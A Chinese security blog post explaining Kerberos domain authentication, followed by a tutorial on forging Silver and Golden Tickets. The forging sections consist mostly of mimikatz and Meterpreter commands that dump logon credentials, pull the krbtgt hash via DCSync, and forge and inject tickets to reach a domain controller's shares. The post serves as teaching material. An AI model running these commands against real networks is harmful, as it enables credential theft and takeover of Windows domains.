<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>内网安全:Kerberos域认证流程---黄金票据和白银票据 | Zeo's Security Lab</title><meta name="author" content="Zeo"><meta name="copyright" content="Zeo"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="ffffff"><meta name="description" content="文章目录  0x00 前提 0x01 Kerberos域认证 域认证大致流程： 第一部分：生成TGT 和 session key 第二步：获取要访问的 server ticket 第三部 向客户端向服务器请求认证 0x01 白银票据(Silver Tickets)  伪造白银票据(Silver Tickets)   0x02 黄金票据（Golden Ticket）  伪造黄金票据   0x03">
<meta property="og:type" content="article">
<meta property="og:title" content="内网安全:Kerberos域认证流程---黄金票据和白银票据">
<meta property="og:url" content="https://godzeo.github.io/2020/05/12/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B---%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/index.html">
<meta property="og:site_name" content="Zeo&#39;s Security Lab">
<meta property="og:description" content="文章目录  0x00 前提 0x01 Kerberos域认证 域认证大致流程： 第一部分：生成TGT 和 session key 第二步：获取要访问的 server ticket 第三部 向客户端向服务器请求认证 0x01 白银票据(Silver Tickets)  伪造白银票据(Silver Tickets)   0x02 黄金票据（Golden Ticket）  伪造黄金票据   0x03">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp">
<meta property="article:published_time" content="2020-05-12T06:11:44.000Z">
<meta property="article:modified_time" content="2022-11-28T12:25:22.942Z">
<meta property="article:author" content="Zeo">
<meta property="article:tag" content="WEB安全">
<meta property="article:tag" content="代码审计">
<meta property="article:tag" content="内网">
<meta property="article:tag" content="渗透">
<meta property="article:tag" content="二进制">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp"><link rel="shortcut icon" href="/img/WX20211124-162855.png"><link rel="canonical" href="https://godzeo.github.io/2020/05/12/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B---%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '内网安全:Kerberos域认证流程---黄金票据和白银票据',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-11-28 20:25:22'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', 'ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.3.0"><link rel="alternate" href="/atom.xml" title="Zeo's Security Lab" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Zeo's Security Lab</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">内网安全:Kerberos域认证流程---黄金票据和白银票据</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2020-05-12T06:11:44.000Z" title="发表于 2020-05-12 14:11:44">2020-05-12</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-11-28T12:25:22.942Z" title="更新于 2022-11-28 20:25:22">2022-11-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/">内网安全研究</a></span></div><div class="meta-secondline"></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><span id="more"></span>

<h3 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h3><ul>
<li><ul>
<li><a href="#0x00__3">0x00 前提</a></li>
<li><a href="#0x01_Kerberos_7">0x01 Kerberos域认证</a></li>
<li><a href="#_41">域认证大致流程：</a></li>
<li><a href="#TGT___session_key_53">第一部分：生成TGT 和 session key</a></li>
<li><a href="#_server_ticket_79">第二步：获取要访问的 server ticket</a></li>
<li><a href="#__109">第三部 向客户端向服务器请求认证</a></li>
<li><a href="#0x01_Silver_Tickets_133">0x01 白银票据(Silver Tickets)</a></li>
<li><ul>
<li><a href="#Silver_Tickets_161">伪造白银票据(Silver Tickets)</a></li>
</ul>
</li>
<li><a href="#0x02_Golden_Ticket_220">0x02 黄金票据（Golden Ticket）</a></li>
<li><ul>
<li><a href="#_236">伪造黄金票据</a></li>
</ul>
</li>
<li><a href="#0x03__288">0x03 黄金票据和白银票据比较</a></li>
<li><a href="#0x04__300">0x04 参考</a></li>
</ul>
</li>
</ul>
<h2 id="0x00-前提"><a href="#0x00-前提" class="headerlink" title="0x00 前提"></a>0x00 前提</h2><p>算是学习之后总结记录，加深自己的理解，这里我是参考了倾旋师傅的讲解，感觉讲的比较好，加入自己的理解和一些其他东西写下来，分享出来，也方便自己回顾知识和补充<br>还有画图的问题，我自己画的太费劲了而且也看不明白，索性我就自己手画了几个，方便自己理解和熟悉流程，感觉不错，手动狗头，哈哈</p>
<h2 id="0x01-Kerberos域认证"><a href="#0x01-Kerberos域认证" class="headerlink" title="0x01 Kerberos域认证"></a>0x01 Kerberos域认证</h2><p>Kerberos 是一种网络认证协议，其设计目标是通过<a target="_blank" rel="noopener" href="https://baike.baidu.com/item/%E5%AF%86%E9%92%A5">密钥</a>系统为客户机 &#x2F; 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于<a target="_blank" rel="noopener" href="https://baike.baidu.com/item/%E4%B8%BB%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F">主机操作系统</a>的认证，无需基于<a target="_blank" rel="noopener" href="https://baike.baidu.com/item/%E4%B8%BB%E6%9C%BA%E5%9C%B0%E5%9D%80">主机地址</a>的信任，不要求网络上所有主机的物理安全，并假定网络上传送的<a target="_blank" rel="noopener" href="https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%8C%85">数据包</a>可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的<a target="_blank" rel="noopener" href="https://baike.baidu.com/item/%E5%AF%86%E7%A0%81%E6%8A%80%E6%9C%AF">密码技术</a>（如：共享密钥）执行认证服务的。</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTIxMDMxNTkucG5n?x-oss-process=image/format,png" alt="image-20200512103159200"></p>
<p>Kerberos的标志是三只狗头，分别代表以下角色：</p>
<ul>
<li>Client</li>
<li>Server</li>
<li>KDC(Key Distribution Center) &#x3D; DC(Domain Controller)</li>
</ul>
<p><strong>名词基本概念：</strong></p>
<ul>
<li><p>KDC: Key Distribution Center，密钥分发中心，负责管理票据、认证票据、分发票据，但是KDC不是一个独立的服务，它由AS和TGS组成。</p>
</li>
<li><p>AD: Account Database，存储所有client的白名单，只有存在于白名单的client才能顺利申请到TGT。</p>
<p>（物理方面 KDC和AD 都是一个机子）</p>
</li>
<li><p>TGT: Ticket Granting Ticket &#x3D; 入场券，通过入场券能够获得票据，是一种临时凭证的存在。</p>
</li>
<li><p>AS（Authentication Server）&#x3D; 认证服务器,为client生成TGT的服务</p>
</li>
<li><p>TGS（Ticket Granting Server）&#x3D; 票据授权服务器</p>
</li>
<li><p>SS（Service Server）&#x3D; 特定服务提供端</p>
</li>
</ul>
<h2 id="域认证大致流程："><a href="#域认证大致流程：" class="headerlink" title="域认证大致流程："></a>域认证大致流程：</h2><ol>
<li><p>Client 上的用户请求KDC服务，最后AS服务生产TGT，返回给Client</p>
</li>
<li><p>Client 使用TGT请求KDC上的TGS得到ST（TGS ticket）真正访问的票据</p>
</li>
<li><p>Client使用ST（TGS Ticket）访问Server</p>
</li>
</ol>
<h2 id="第一部分：生成TGT-和-session-key"><a href="#第一部分：生成TGT-和-session-key" class="headerlink" title="第一部分：生成TGT 和 session key"></a>第一部分：生成TGT 和 session key</h2><p>1.Client发送自己的身份信息到KDC（身份信息中起码包含用户名），KDC根据用户名在AD中寻找是否在白名单中，然后根据用户名提取到对应的NTLM Hash。</p>
<p>2 .KDC此时生成一个随机字符串Session Key，使用客户端的NTLM Hash加密Session Key，作为AS数据，使用KDC中krbtgt用户的NTLM Hash加密Session Key和客户端的信息，生成TGT。</p>
<p>第一部分：获取了 TGT</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTIxMDAxMTcucG5n?x-oss-process=image/format,png" alt="image-20200512100117725"></p>
<p>注：客户端收到 TGT 是无法解密的，KDC返回的TGT客户端是无法解密的，因为它没有KDC Hash，KDC Hash指的就是是krbtgt 的hash</p>
<p>这就是伪造黄金票据的原理，这个是后面还会有介绍。</p>
<h2 id="第二步：获取要访问的-server-ticket"><a href="#第二步：获取要访问的-server-ticket" class="headerlink" title="第二步：获取要访问的 server ticket"></a>第二步：获取要访问的 server ticket</h2><p>1.客户端使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。</p>
<p>如果假设这个数据被中间人窃取到，也无法在段时间内破解，因为KDC会校验时间戳。</p>
<p>2.KDC接到TGT与其他内容后，会首先解密TGT，只有KDC可以解密TGT，从TGT中提取到Session Key，再使用Session Key解密其他内容，解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。</p>
<p>3.验证通过后，就会生成一个新的Session Key，我们称之为Server Session Key</p>
<p>这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket，也就是最后的票据了。</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTIxMDA1MTcucG5n?x-oss-process=image/format,png" alt="image-20200512100517747"></p>
<p>注释：Server Hash：这个Hash是在AD中服务器计算机的NTLM Hash。</p>
<h2 id="第三部-向客户端向服务器请求认证"><a href="#第三部-向客户端向服务器请求认证" class="headerlink" title="第三部 向客户端向服务器请求认证"></a>第三部 向客户端向服务器请求认证</h2><p>客户端向服务器请求，需要提供Ticket，Server Session Key加密的客户端信息与时间戳。</p>
<p>1 Ticket客户端无法解密，因为没有 Server hash，只能发送给 sever端</p>
<p>2 服务器端通过自己的hash解密Ticket，得到解密Server Session Key(Client info + Timestamp)</p>
<p>3 用刚刚解密的Session Key，解开Client info + Timestamp，验证客户端信息和时间戳</p>
<p>校验通过后，认证成功，该票据会一直存在客户端内存中，最后成功登陆</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTIxMDE2MzYucG5n?x-oss-process=image/format,png" alt="image-20200512101636849"></p>
<p>其中白银票据的伪造就发生在这一步的认证中，下面会介绍</p>
<h2 id="0x01-白银票据-Silver-Tickets"><a href="#0x01-白银票据-Silver-Tickets" class="headerlink" title="0x01 白银票据(Silver Tickets)"></a>0x01 白银票据(Silver Tickets)</h2><p>白银票据前提:</p>
<p>1.不需要与KDC进行交互，直接和server认证</p>
<p>2.需要目标服务的NTLM Hash</p>
<p>在第三步认证中的Ticket的组成:</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA1MTIxMTA2MDUucG5n?x-oss-process=image/format,png" alt="image-20200512110605262"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Ticket=Server Hash(Server Session Key+Client info+End Time) </span><br></pre></td></tr></table></figure>

<p>原理：<br>如果我们拥有Server Hash时，我们就可以伪造一个不经过KDC认证的一个Ticket，直接去server端去验证。</p>
<p>注：服务器是不知道Server Session Key是什么的，服务器的Server Session Key是解密ticket获得的，所以一切凭据的核心在Server Hash，有了它就开业直接伪造票据认证。</p>
<h3 id="伪造白银票据-Silver-Tickets"><a href="#伪造白银票据-Silver-Tickets" class="headerlink" title="伪造白银票据(Silver Tickets)"></a>伪造白银票据(Silver Tickets)</h3><p>首先需要导出Server Hash：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonpasswords&quot; exit</span><br></pre></td></tr></table></figure>

<p>或MSF模块</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; load mimikatz</span><br><span class="line">meterpreter &gt; msv</span><br></pre></td></tr></table></figure>

<p>伪造票据:</p>
<p>清空当前系统的票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">klist purge</span><br></pre></td></tr></table></figure>

<p>伪造票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe “kerberos::golden /domain:&lt;域名&gt; /sid:&lt;域 SID&gt; /target:&lt;目标服务器主机名&gt; /service:&lt;服务类型&gt; /rc4:&lt;NTLM Hash&gt; /user:&lt;用户名&gt; /ptt&quot; exit</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;kerberos::golden /domain:zeo.com /sid:S-1-5-21-1111111111-111111111-11111111111 /target:DC.zeo.com /service:CIFS /rc4:7c4a8d09ca3762af61e59520943dc26494f8941b /user:admin /ptt&quot; exit</span><br></pre></td></tr></table></figure>

<p>验证权限</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir \\DC\c$</span><br></pre></td></tr></table></figure>

<p>由于白银票据需要目标服务器的Hash，所以没办法生成对应域内 所有服务器的票据。因此只能针对服务器 上的某些服务去伪造，伪造的服务类型列表如下:</p>
<table>
<thead>
<tr>
<th>服务注释</th>
<th>服务名</th>
</tr>
</thead>
<tbody><tr>
<td>WMI</td>
<td>HOST、RPCSS</td>
</tr>
<tr>
<td>Powershell Remoteing</td>
<td>HOST、HTTP</td>
</tr>
<tr>
<td>WinRM</td>
<td>HOST、HTTP</td>
</tr>
<tr>
<td>Scheduled Tasks</td>
<td>HOST</td>
</tr>
<tr>
<td>LDAP 、DCSync</td>
<td>LDAP</td>
</tr>
<tr>
<td>Windows File Share (CIFS)</td>
<td>CIFS</td>
</tr>
<tr>
<td>Windows Remote ServerAdministration Tools</td>
<td>RPCSS、LDAP、CIFS</td>
</tr>
</tbody></table>
<h2 id="0x02-黄金票据（Golden-Ticket）"><a href="#0x02-黄金票据（Golden-Ticket）" class="headerlink" title="0x02 黄金票据（Golden Ticket）"></a>0x02 黄金票据（Golden Ticket）</h2><p>黄金票据前提:</p>
<p>1.需要与DC通信</p>
<p>2.需要krbtgt用户的hash（也就是说要拿下域控制器）</p>
<p>黄金票据原理：</p>
<p>就是伪造的TGT，它会在第二步认证被发送到KDC的TGS，如果我们有了krbtgt用户的hash就可以直接伪造TGT，其中的KDC需要的session key，是KDC解密TGT之后获取的，所以session key也是和TGT一起伪造的，那么后续的认证，就可以随意的制造想要的票据了。</p>
<h3 id="伪造黄金票据"><a href="#伪造黄金票据" class="headerlink" title="伪造黄金票据"></a>伪造黄金票据</h3><p>管理员权限运行mimikatz，获取关键krbtgt hash</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;lsadump::dcsync /user:krbtgt&quot; exit</span><br></pre></td></tr></table></figure>

<p>获取域中所有用户SID</p>
<p>只要是域用户权限就行，去掉SID最后的数字</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic useraccount get name,sid</span><br></pre></td></tr></table></figure>

<p>清空现有票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;kerberos::purge&quot; exit</span><br></pre></td></tr></table></figure>

<p>生成票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz “kerberos::golden /domain:&lt;域名&gt; /sid:&lt;域SID&gt; /rc4:&lt;KRBTGT NTLM Hash&gt; /user:&lt;任意用户名&gt; /ptt&quot; exit</span><br></pre></td></tr></table></figure>

<p>还有一个简单的用法，cobalt strike中直接有一项黄金票据生产，十分方便。</p>
<p>将票据注入内存</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;kerberos::ptt Administrator.kiribi&quot; exit</span><br></pre></td></tr></table></figure>

<p>当前会话中的票据</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe &quot;kerberos::tgt&quot; exit</span><br></pre></td></tr></table></figure>

<p>权限验证</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir \\DC\c$</span><br></pre></td></tr></table></figure>

<h2 id="0x03-黄金票据和白银票据比较"><a href="#0x03-黄金票据和白银票据比较" class="headerlink" title="0x03 黄金票据和白银票据比较"></a>0x03 黄金票据和白银票据比较</h2><table>
<thead>
<tr>
<th align="left"></th>
<th>黄金票据</th>
<th>白银票据</th>
</tr>
</thead>
<tbody><tr>
<td align="left">访问权限</td>
<td>伪造TGT，可以获取任何Kerberos服务权限</td>
<td>伪造TGS，只能访问指定的服务</td>
</tr>
<tr>
<td align="left">加密方式</td>
<td>由Kerberos的Hash加密</td>
<td>Silver Ticket由服务账号Hash加密</td>
</tr>
<tr>
<td align="left">认证流程</td>
<td>需要访问域控认证，属于第二步认证</td>
<td>直接和服务器认，最后一步认证</td>
</tr>
</tbody></table>
<h2 id="0x04-参考"><a href="#0x04-参考" class="headerlink" title="0x04 参考"></a>0x04 参考</h2><p><a target="_blank" rel="noopener" href="https://payloads.online/archivers/2018-11-30/1">https://payloads.online/archivers/2018-11-30/1</a></p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/05/12/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B---%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/">https://godzeo.github.io/2020/05/12/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B---%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2020/05/14/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8!NTML%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B%E5%92%8CPTH%E5%8E%9F%E7%90%86/"><img class="prev-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">内网安全:NTML认证流程和PTH原理</div></div></a></div><div class="next-post pull-right"><a href="/2020/05/11/%E7%BD%91%E9%BC%8E%E6%9D%AF%20AreUSerialz%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE/"><img class="next-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">网鼎杯 AreUSerialz反序列化题目</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Zeo</div><div class="author-info__description">专注于安全,分享生活,分享知识</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/godzeo"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/godzeo" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:zzzhhhaaaiiii@gmail.com" target="_blank" title="Email"><i class="fas fa-envelope"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%96%87%E7%AB%A0%E7%9B%AE%E5%BD%95"><span class="toc-number">1.</span> <span class="toc-text">文章目录</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x00-%E5%89%8D%E6%8F%90"><span class="toc-number"></span> <span class="toc-text">0x00 前提</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x01-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81"><span class="toc-number"></span> <span class="toc-text">0x01 Kerberos域认证</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%9F%E8%AE%A4%E8%AF%81%E5%A4%A7%E8%87%B4%E6%B5%81%E7%A8%8B%EF%BC%9A"><span class="toc-number"></span> <span class="toc-text">域认证大致流程：</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" 